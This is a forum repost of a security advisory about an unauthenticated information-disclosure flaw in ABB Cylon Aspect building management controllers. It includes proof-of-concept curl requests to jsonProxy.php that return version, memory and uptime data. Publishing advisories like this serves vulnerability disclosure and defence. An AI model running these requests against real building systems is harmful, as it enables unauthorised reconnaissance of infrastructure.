Стани премиум член и добиј попуст на 2000+ производи и куп други бенефити!
  • Важно
    Имате проблем со најава или регистрација на it.mk?
    Побарајте го решението на вашиот проблем ТУКА!

ABB Cylon Aspect 3.08.01 (jsonProxy.php) Information Disclosure

zeroscience

ZSL Bot v4.89.1.00
31 мај 2010
957
590
www.zeroscience.mk
Код:
ABB Cylon Aspect 3.08.01 (jsonProxy.php) Information Disclosure


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.01

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The jsonProxy.php endpoint on the ABB BMS/BAS controller is vulnerable
to unauthorized information disclosure. An unauthenticated attacker can retrieve
sensitive system information, including system time, uptime, memory usage, and
network load statistics. The jsonProxy.php endpoint proxies these requests to
internal services without requiring authentication, allowing attackers to obtain
detailed system status data, which could aid in further attacks by revealing
operational characteristics and resource utilization.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5858
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5858.php


21.04.2024

--


$ cat project

                 P   R   O   J   E   C   T

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░                                                           
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░                                               
                                                                                                              

$ curl "http://192.168.73.31/jsonProxy.php?port=7226&application=FTControlServlet?getVersionInfo=1"
runtime.ver=v3.07.01
runtime.size=5647011
release.version=v3.07.02
release.date=2023.07.02 at 13\:01\:33 UTC
aam.webui.release.version=v0.00.99
aam.webui.release.date=1970-01-01
aam.os.release.version=v0.00.99
aam.os.release.date=1970-01-01
mapconfig.date=2023.12.09 at 09:05
mapconfig.size=3767088
mapconfig.project=Skyscraper_2023

$ curl "http://192.168.73.31/jsonProxy.php?port=7226&application=StatusServlet"
{"restartFlag":false,"SystemTime":"2024\/10\/29 14:09:13","Uptime":11332093,"Memory":{"SystemMemoryFree":82736,"SystemMemoryTotal":510604,"SystemSwapTotal":0,"JVMTotalMemory":134217728,"SystemSwapFree":0,"JVMFreeMemory":9789440},"Load":[0.12,0.1,0.09]}
$ curl "http://192.168.73.31/jsonProxy.php?port=7226&application=StatusServlet&query=showNetworkLoad%3Dtrue%26networkId%3D192.168.xx.xx:PORT:2:10
...



 

Нови мислења

Последни Теми

Статистика

Теми
47.899
Мислења
986.940
Членови
36.036
Најнов член
laraebarlee407
На врв Дно